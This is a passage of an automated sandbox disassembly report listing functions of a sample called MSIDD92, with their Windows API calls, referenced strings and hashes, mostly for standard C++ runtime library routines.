LocalFree.KERNEL32(?), ref: 00D72CA2
LocalFree.KERNEL32(?), ref: 00D72D0C
CertFreeCertificateContext.CRYPT32(00000000), ref: 00D72E94

Part of subcall function 00D73D60: CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 00D73DA3

LocalFree.KERNEL32(?), ref: 00D72E13
LocalFree.KERNEL32(?), ref: 00D72E6B

Strings

Jm, xrefs: 00D72C43

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Free$Local$Cert$#224CertificateContextNameString
String ID: Jm
API String ID: 2665452496-1413287597
Opcode ID: 4e5d9835ad9a03455521b2d117fb46a902be635c9c477bb5ad7e541b394e513a
Instruction ID: 4c7fa3a27bf8b1fd62eea0274f015b844d81539b51087cac5a469fb333673384
Opcode Fuzzy Hash: 4e5d9835ad9a03455521b2d117fb46a902be635c9c477bb5ad7e541b394e513a
Instruction Fuzzy Hash: C6917070910389CFDB18CFA8C558BAEBBB5FF44304F14861DE459AB391E775AA84CB60

Function 00D7BA30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 195memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000044,862265DA,?,00000000), ref: 00D7BA8B
std::_Lockit::_Lockit.LIBCPMT ref: 00D7BAC8
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00D7BB35
__Getctype.LIBCPMT ref: 00D7BB7E
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00D7BBF2
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BCAF

Strings

bad locale name, xrefs: 00D7BCCD

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocGetctypeLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3635123611-1405518554
Opcode ID: 6428b367fc4568771c2b0a2dc7fd38fd0bfbd26f81f4f6b60cc75eb8f617a913
Instruction ID: 2988cd4f57646db7a061d680e49fc6351f6739aa0661c35951f3fb0773b081ac
Opcode Fuzzy Hash: 6428b367fc4568771c2b0a2dc7fd38fd0bfbd26f81f4f6b60cc75eb8f617a913
Instruction Fuzzy Hash: DA8161B0D04348DFEB21DFA8C94579EBBF4AF14314F28819AD448AB381EB759A44DB71

Function 00D7C220 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,862265DA,?,00000000,?,?,?,?,?,?,?,00000000,00DBABC5,000000FF), ref: 00D7C264
std::_Lockit::_Lockit.LIBCPMT ref: 00D7C29E
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00D7C302
__Getctype.LIBCPMT ref: 00D7C34B
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00D7C391
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7C445

Strings

bad locale name, xrefs: 00D7C460

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocGetctypeLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3635123611-1405518554
Opcode ID: c21ccfd5a42a5754664c889d5dd11ddfce89263698bed981802a2c5efd3c7ecc
Instruction ID: ae5bc39545fd7dfda0b967c79e139f09f51c5a8b9740f25ff0345c927819d942
Opcode Fuzzy Hash: c21ccfd5a42a5754664c889d5dd11ddfce89263698bed981802a2c5efd3c7ecc
Instruction Fuzzy Hash: 03615BB0D11288EEEB10DFE8C9047DEBBF4AF14314F288159E454AB381E7B59A08CB71

Function 00D9743E Relevance: 12.2, APIs: 8, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?), ref: 00D974C9
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00D97557
__alloca_probe_16.LIBCMT ref: 00D97581
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00D975C9
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00D975E3
__alloca_probe_16.LIBCMT ref: 00D97609
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00D97646
CompareStringEx.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00D97663

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16$CompareInfoString
String ID:
API String ID: 3603178046-0
Opcode ID: b07ab253997e56cdf93f1f6e200d86389e9074e00047db783f868347f11db7b4
Instruction ID: 9d00ffc7251642045c36149339b42c917c417d14f2b4e9203ef9cb7d75abb68c
Opcode Fuzzy Hash: b07ab253997e56cdf93f1f6e200d86389e9074e00047db783f868347f11db7b4
Instruction Fuzzy Hash: A471A372A2864A9FDFA18FA8CC45AEE7FB6EF49354F190015E945E7251EB35C800CB70

Function 00D96F23 Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,CCCCCCCC,00D7C6DF,?,00000001,00000000,?,00000000,?,00D7C6DF,?), ref: 00D96F6C
__alloca_probe_16.LIBCMT ref: 00D96F98
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,00D7C6DF,?,?,00000000,00D7CCD3,0000003F,?), ref: 00D96FD7
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00D7C6DF,?,?,00000000,00D7CCD3,0000003F), ref: 00D96FF4
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,00D7C6DF,?,?,00000000,00D7CCD3,0000003F), ref: 00D97033
__alloca_probe_16.LIBCMT ref: 00D97050
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00D7C6DF,?,?,00000000,00D7CCD3,0000003F), ref: 00D97092
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,00D7C6DF,?,?,00000000,00D7CCD3,0000003F,?), ref: 00D970B5

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: e7e3206638998a08ceeaa09c244de8695aa11104ac8ee67a11551aa57a0c3d2f
Instruction ID: d9543088fa9f2f47ad0dc6ba87afd9c65b55c4809e307fcf3dff4754fdcd4aae
Opcode Fuzzy Hash: e7e3206638998a08ceeaa09c244de8695aa11104ac8ee67a11551aa57a0c3d2f
Instruction Fuzzy Hash: F8515C7252430AEBEF209F64DC45FAA7BBAEF44790F194125F909E6190EB35D9108B70

Function 00D75940 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 389fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,URL,00000000,?,862265DA,?,00000004), ref: 00D759AA
LocalFree.KERNEL32(?), ref: 00D75ABB
MoveFileW.KERNEL32(?,00000000), ref: 00D75D5B
DeleteFileW.KERNEL32(?), ref: 00D75DA3

Strings

URL, xrefs: 00D759A4, 00D75D8B
url, xrefs: 00D75ADC, 00D75D86

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: File$DeleteFreeLocalMoveNameTemp
String ID: URL$url
API String ID: 1622375482-346267919
Opcode ID: 012885feb7813fff7e3ead6fb98e40bb554911cb4cbbea6876193a746e2e45e6
Instruction ID: 32a4770b7ff2085ac07e5b72c5c18d8d11ebdc1df4f028b92ebc58844342cf47
Opcode Fuzzy Hash: 012885feb7813fff7e3ead6fb98e40bb554911cb4cbbea6876193a746e2e45e6
Instruction Fuzzy Hash: C0024970A14669CACB24DF28CD98B9DB7B5FF54304F1082D9D409A7251EBB4ABC4CFA1

Function 00D761D0 Relevance: 10.7, APIs: 7, Instructions: 234processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00D76242
CloseHandle.KERNEL32(00000000), ref: 00D76285
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00D762E1
OpenProcess.KERNEL32(00000410,00000000,?), ref: 00D762FD
CloseHandle.KERNEL32(00000000), ref: 00D76445
Process32NextW.KERNEL32(?,0000022C), ref: 00D76463
CloseHandle.KERNEL32(00000000), ref: 00D7648E

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: CloseHandle$Process32$CreateFirstNextOpenProcessSnapshotToolhelp32
String ID:
API String ID: 708755948-0
Opcode ID: 189a0982cb23b99e43078d21f0d5152c778d416acf28a9d3b25245a07b8947af
Instruction ID: 5c1b763420ff973b84c70f217446ac42cb62972129e3ac05fd3e39e72523a72a
Opcode Fuzzy Hash: 189a0982cb23b99e43078d21f0d5152c778d416acf28a9d3b25245a07b8947af
Instruction Fuzzy Hash: 67A16B70906669DFDB20DF64C948BDEBBB4EF44704F1482D9E41DA7280E7B49A84CFA0

Function 00D7F5E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 189memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000000C,862265DA,?,00000000,00000000,?,?,?,?,00000000,00DBB2D1,000000FF,?,00D7EBCA,00000000), ref: 00D7F624
std::_Lockit::_Lockit.LIBCPMT ref: 00D7F65A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00D7F6BE
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00D7F77E
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7F832

Strings

bad locale name, xrefs: 00D7F84E

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2968629171-1405518554
Opcode ID: e7e9622045591dd93beab004ad2e25a5e6d7d48dffe9e8a1d88026c06b912325
Instruction ID: 496441ff4f933a6aff642d19e1663a37154e443425218b9020ab479bc58436d3
Opcode Fuzzy Hash: e7e9622045591dd93beab004ad2e25a5e6d7d48dffe9e8a1d88026c06b912325
Instruction Fuzzy Hash: 8A7161B0D01349EAEF21DFA8C9457DEBFB4AF15314F188169E414A7381E7B59A04C7B2

Function 00D7F3B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,862265DA,?,00000000,00000000,?,?,?,00000000,00DBB1DD,000000FF,?,00D7ED0A,00000000,?), ref: 00D7F3F4
std::_Lockit::_Lockit.LIBCPMT ref: 00D7F42A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00D7F48E
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00D7F4FE
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7F5B2

Strings

bad locale name, xrefs: 00D7F5CE

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2968629171-1405518554
Opcode ID: c6a7cf2dd53ae4b0de942658ab9aea831715612bf20aaef37bb749c5befc8445
Instruction ID: 6a210be46da8c6163b9ae1b2f0c8b4156ff37cf66e208676c0c17b713b2e418d
Opcode Fuzzy Hash: c6a7cf2dd53ae4b0de942658ab9aea831715612bf20aaef37bb749c5befc8445
Instruction Fuzzy Hash: CF616EB0D01389EBEF21DFA8D9447DEBBB4AF14314F288169E454AB381E7759A04CB71

Function 00D98D30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D98D67
___except_validate_context_record.LIBVCRUNTIME ref: 00D98D6F
_ValidateLocalCookies.LIBCMT ref: 00D98DF8
__IsNonwritableInCurrentImage.LIBCMT ref: 00D98E23
_ValidateLocalCookies.LIBCMT ref: 00D98E78

Strings

csm, xrefs: 00D98E0D

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 57241c85830b91409184901ed05893329a6650184baa0df219b1341f3df067e2
Instruction ID: db8b62200d0265f6c71219036f6cb843a62def7dfed378d5c01a802477d43eab
Opcode Fuzzy Hash: 57241c85830b91409184901ed05893329a6650184baa0df219b1341f3df067e2
Instruction Fuzzy Hash: 69418334A00208DFCF10DF68C894A9EBBA6EF45724F148555F9159B392DB32EE05DBB1

Function 00DAC96B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00DACA78,?,?,?,00000000,?,?,00DACCA2,00000021,FlsSetValue,00DC1E00,00DC1E08,?), ref: 00DACA2C

Strings

api-ms-, xrefs: 00DAC9C2
ext-ms-, xrefs: 00DAC9D6

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: ad4b2a6689da6347be50446559e19cd2731c90e791e35244e10469c56724fa53
Instruction ID: a9793ca493305b9d1789af03bfec6f6e160020689e8b986fd56e78397231f30f
Opcode Fuzzy Hash: ad4b2a6689da6347be50446559e19cd2731c90e791e35244e10469c56724fa53
Instruction Fuzzy Hash: 2A21D536A51315EBCB21DB65AC44AAA3759DB437B1F291321E956E73D0EA30ED00CAF0

Function 00D8D8F6 Relevance: 9.4, APIs: 6, Instructions: 433COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D8D8FD
ctype.LIBCPMT ref: 00D8D944

Part of subcall function 00D8D458: __Getctype.LIBCPMT ref: 00D8D467

Part of subcall function 00D879C9: __EH_prolog3.LIBCMT ref: 00D879D0
Part of subcall function 00D879C9: std::_Lockit::_Lockit.LIBCPMT ref: 00D879DA
Part of subcall function 00D879C9: std::_Lockit::~_Lockit.LIBCPMT ref: 00D87A4B

Part of subcall function 00D87AF3: __EH_prolog3.LIBCMT ref: 00D87AFA
Part of subcall function 00D87AF3: std::_Lockit::_Lockit.LIBCPMT ref: 00D87B04
Part of subcall function 00D87AF3: std::_Lockit::~_Lockit.LIBCPMT ref: 00D87B75

Part of subcall function 00D87CB2: __EH_prolog3.LIBCMT ref: 00D87CB9
Part of subcall function 00D87CB2: std::_Lockit::_Lockit.LIBCPMT ref: 00D87CC3
Part of subcall function 00D87CB2: std::_Lockit::~_Lockit.LIBCPMT ref: 00D87D34

Part of subcall function 00D87C1D: __EH_prolog3.LIBCMT ref: 00D87C24
Part of subcall function 00D87C1D: std::_Lockit::_Lockit.LIBCPMT ref: 00D87C2E
Part of subcall function 00D87C1D: std::_Lockit::~_Lockit.LIBCPMT ref: 00D87C9F

Part of subcall function 00D84403: __EH_prolog3.LIBCMT ref: 00D8440A
Part of subcall function 00D84403: std::_Lockit::_Lockit.LIBCPMT ref: 00D84414
Part of subcall function 00D84403: std::_Lockit::~_Lockit.LIBCPMT ref: 00D844BB

collate.LIBCPMT ref: 00D8DA78
numpunct.LIBCPMT ref: 00D8DCF2

Part of subcall function 00D8838F: __EH_prolog3.LIBCMT ref: 00D88396

Part of subcall function 00D880C5: __EH_prolog3.LIBCMT ref: 00D880CC
Part of subcall function 00D880C5: std::_Lockit::_Lockit.LIBCPMT ref: 00D880D6
Part of subcall function 00D880C5: std::_Lockit::~_Lockit.LIBCPMT ref: 00D88147

Part of subcall function 00D881EF: __EH_prolog3.LIBCMT ref: 00D881F6
Part of subcall function 00D881EF: std::_Lockit::_Lockit.LIBCPMT ref: 00D88200
Part of subcall function 00D881EF: std::_Lockit::~_Lockit.LIBCPMT ref: 00D88271

Part of subcall function 00D84403: Concurrency::cancel_current_task.LIBCPMT ref: 00D844C6

Part of subcall function 00D875B6: __EH_prolog3.LIBCMT ref: 00D875BD
Part of subcall function 00D875B6: std::_Lockit::_Lockit.LIBCPMT ref: 00D875C7
Part of subcall function 00D875B6: std::_Lockit::~_Lockit.LIBCPMT ref: 00D87638

__Getcoll.LIBCPMT ref: 00D8DAB8

Part of subcall function 00D7BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00D7BD10
Part of subcall function 00D7BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00D7BD38

Part of subcall function 00D784C0: LocalAlloc.KERNEL32(00000040,00000000,00D9839D,00000000,862265DA,?,00000000,?,00000000,?,00DBCB8D,000000FF,?,00D717D5,00000000,00DBD3BA), ref: 00D784C6

codecvt.LIBCPMT ref: 00D8DDA3

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3$Lockit::_Lockit::~_$AllocConcurrency::cancel_current_taskGetcollGetctypeLocalcodecvtcollatectypenumpunct
String ID:
API String ID: 613171289-0
Opcode ID: 7e5c29d102b5bd0b5ceaa4f9d47c33486ec91861d9ff0181b8b44f75c9c32c4b
Instruction ID: 668d9a8e42d1fcd53c3ddff0a036f8fd1fee6db06bb04ecf1b39025d5a455903
Opcode Fuzzy Hash: 7e5c29d102b5bd0b5ceaa4f9d47c33486ec91861d9ff0181b8b44f75c9c32c4b
Instruction Fuzzy Hash: FBE1A2B1800216ABDB11BF658C06ABF7BA6EF41360F15842EF859573D1EF718D109BB1

Function 00D7B500 Relevance: 9.2, APIs: 6, Instructions: 152COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00D7B52D
std::_Lockit::_Lockit.LIBCPMT ref: 00D7B550
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7B578
std::_Facet_Register.LIBCPMT ref: 00D7B5ED
std::_Lockit::~_Lockit.LIBCPMT ref: 00D7B617
LocalFree.KERNEL32 ref: 00D7B6C0

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_FreeLocalRegister
String ID:
API String ID: 1378673503-0
Opcode ID: 531cf6e860b93c360f5888be63b2ee222d2b3eeb60411b857ae92cca1e7a619e
Instruction ID: 5e848acc026c854d66a5308c71563d83d021648fffe335c74c89b749df87d544
Opcode Fuzzy Hash: 531cf6e860b93c360f5888be63b2ee222d2b3eeb60411b857ae92cca1e7a619e
Instruction Fuzzy Hash: F451BE71801759DFCB21DF58E841BAEBBF4FB05320F24865AE855A7390E771AA04CBB1

Function 00DA5981 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 369COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00DA5A6B
__freea.LIBCMT ref: 00DA5B01
__freea.LIBCMT ref: 00DA5B1D

Strings

a/p, xrefs: 00DA5BE5
am/pm, xrefs: 00DA5B81

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: e93a7f18359107f207b1041c5aa24d6d7955c0ba981b994f98e5d35d553e60ae
Instruction ID: a716f0b067bef7f4994e3bed045388297bdafff58f3fc56eb8b035d8c19ab954
Opcode Fuzzy Hash: e93a7f18359107f207b1041c5aa24d6d7955c0ba981b994f98e5d35d553e60ae
Instruction Fuzzy Hash: FAC1C035900A16DBCF248F68E889BBAB7B0FF07310F284149E945AB659D335DD41CBB1

Function 00D9AEF5 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D9AEEC,00D99710,00D985A3), ref: 00D9AF03
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D9AF11
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D9AF2A
SetLastError.KERNEL32(00000000,00D9AEEC,00D99710,00D985A3), ref: 00D9AF7C

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d272943d3484831036691c5dfc0e932f8eb1980258313673c7de02c07081397d
Instruction ID: 6db701fd940a8faabe42c84c3807fda4b907ff54ebc438ba99fa6a41b01d085e
Opcode Fuzzy Hash: d272943d3484831036691c5dfc0e932f8eb1980258313673c7de02c07081397d
Instruction Fuzzy Hash: BC01D47311E321AEAF246FB9EC85A267759DF02BB0724032AF110A21E1FF518D0062F6

Function 00D8D38D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

